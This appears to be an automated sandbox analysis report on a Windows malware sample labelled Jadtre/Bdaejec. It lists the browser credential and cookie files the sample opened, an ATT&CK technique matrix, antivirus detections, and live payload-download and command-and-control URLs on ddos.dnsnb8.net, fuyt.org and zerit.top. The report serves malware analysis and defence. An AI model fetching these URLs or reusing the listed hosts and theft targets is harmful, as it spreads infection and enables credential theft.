Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

0_2_004090A0

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: VOsoyD.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VOsoyD.exe PID: 7652, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json	Jump to behavior

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: VOsoyD.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VOsoyD.exe PID: 7652, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	12 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	22 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Services File Permissions Weakness	211 Process Injection	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Services File Permissions Weakness	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	97%	ReversingLabs	Win32.Virus.Jadtre
F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	89%	Virustotal		Browse
F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	100%	Avira	W32/Jadtre.B
F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\VOsoyD.exe	92%	ReversingLabs	Win32.Trojan.Madeba
C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	97%	ReversingLabs	Win32.Virus.Jadtre

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ddos.dnsnb8.net	12%	Virustotal	Browse
fuyt.org	15%	Virustotal	Browse
api.2ip.ua	6%	Virustotal	Browse
zerit.top	13%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ddos.dnsnb8.net:799/cj//k2.rar	100%	URL Reputation	malware
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://ddos.dnsnb8.net/	100%	URL Reputation	malware
http://www.youtube.com/	0%	URL Reputation	safe
http://zerit.top/dl/build2.exe	100%	Avira URL Cloud	phishing
https://api.2ip.ua/a9	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$runer	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.phpve	0%	Avira URL Cloud	safe
https://react-native-async-storage.github.io/async-storage/docs/advanced/jest	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rard	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k3.rar	100%	Avira URL Cloud	phishing
http://fuyt.org/files/1/build3.exe$runer	14%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rars	100%	Avira URL Cloud	malware
http://zerit.top/dl/build2.exe	14%	Virustotal		Browse
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueB2	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k5.rard	16%	Virustotal		Browse
https://api.2ip.ua/Y5	0%	Avira URL Cloud	safe
https://react-native-async-storage.github.io/async-storage/docs/advanced/jest	0%	Virustotal		Browse
http://www.amazon.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json)	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54	100%	Avira URL Cloud	malware
http://www.twitter.com/	0%	Avira URL Cloud	safe
https://dc.services.visualstudio.com/v2/track	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rars	11%	Virustotal		Browse
https://we.tl/t-0S984cQ4B3	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rar	13%	Virustotal		Browse
http://www.twitter.com/	0%	Virustotal		Browse
https://api.2ip.ua/55QI	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar.	100%	Avira URL Cloud	malware
http://www.amazon.com/	0%	Virustotal		Browse
https://we.tl/t-0S984cQ4B3	0%	Virustotal		Browse
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54~	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k2.rar4/	100%	Avira URL Cloud	malware
https://dc.services.visualstudio.com/v2/track	0%	Virustotal		Browse
https://api.2ip.ua/geo.json)	3%	Virustotal		Browse
https://api.2ip.ua/geo.jsonw	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar1	100%	Avira URL Cloud	phishing
https://api.2ip.ua/geo.jsonWC	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar.	12%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar.	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsonw	3%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k2.rarD	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rar1	11%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k2.rarz.h	100%	Avira URL Cloud	malware
http://www.reddit.com/	0%	Avira URL Cloud	safe
https://github.com/react-native-async-storage/async-storage/issues	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$run	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarD	16%	Virustotal		Browse
http://www.nytimes.com/	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php6	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$run	16%	Virustotal		Browse
https://api.2ip.ua/geo.jsonWC	5%	Virustotal		Browse
https://api.2ip.ua/	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k4.rary	100%	Avira URL Cloud	malware
https://github.com/react-native-async-storage/async-storage/issues	0%	Virustotal		Browse
http://www.nytimes.com/	0%	Virustotal		Browse
https://api.2ip.ua/geo.jsonT	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rary	10%	Virustotal		Browse
https://api.2ip.ua/geo.jsonV	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rarXC:	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar.	16%	Virustotal		Browse
http://crl.mic	0%	Avira URL Cloud	safe
https://api.2ip.ua/	5%	Virustotal		Browse
https://api.2ip.ua/geo.jsonT	3%	Virustotal		Browse
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonV	3%	Virustotal		Browse
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarC:	100%	Avira URL Cloud	phishing
http://www.reddit.com/	0%	Virustotal		Browse
https://we.tl/t-0S984cQ4	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54z	100%	Avira URL Cloud	malware
http://fuyt.org/files/1/build3.exe	11%	Virustotal		Browse
https://api.2ip.ua/geo.jsong	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rarC:	100%	Avira URL Cloud	malware
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarffice	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k5.rar	100%	Avira URL Cloud	phishing
http://zerit.top/dl/build2.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/B	0%	Avira URL Cloud	safe
https://api.2ip.ua/A	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rarE	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k4.rarZ	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsondll	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueFM	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rarp	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k2.rarq.u	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k4.rar	100%	Avira URL Cloud	malware
http://www.wikipedia.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonN	0%	Avira URL Cloud	safe
http://www.live.com/	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net/-window-ext-l1-1-0.dll	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k4.raro	100%	Avira URL Cloud	phishing
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/foundation.win32.js.map/ff6ccdf8f8e6c224f	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.phpp	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ddos.dnsnb8.net	44.221.84.105	true	false	12%, Virustotal, Browse	unknown
fuyt.org	92.246.89.93	true	true	15%, Virustotal, Browse	unknown
api.2ip.ua	188.114.96.3	true	false	6%, Virustotal, Browse	unknown
zerit.top	92.246.89.93	true	true	13%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k3.rar	true	13%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown
https://api.2ip.ua/geo.json	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rar	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k4.rar	true	Avira URL Cloud: malware	unknown
http://fuyt.org/test1/get.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://react-native-async-storage.github.io/async-storage/docs/advanced/jest	prep_foundation_win32_bundle_V8_perf.cache.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://zerit.top/dl/build2.exe	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://fuyt.org/files/1/build3.exe$runer	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.phpve	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568989157.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/a9	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rard	VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rars	VOsoyD.exe, 00000012.00000003.2243445641.0000000001289000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueB2	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568923200.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/Y5	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108536096.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3166933996.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json)	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108447651.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007A8000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.twitter.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167806479.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dc.services.visualstudio.com/v2/track	wctFE34.tmp.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
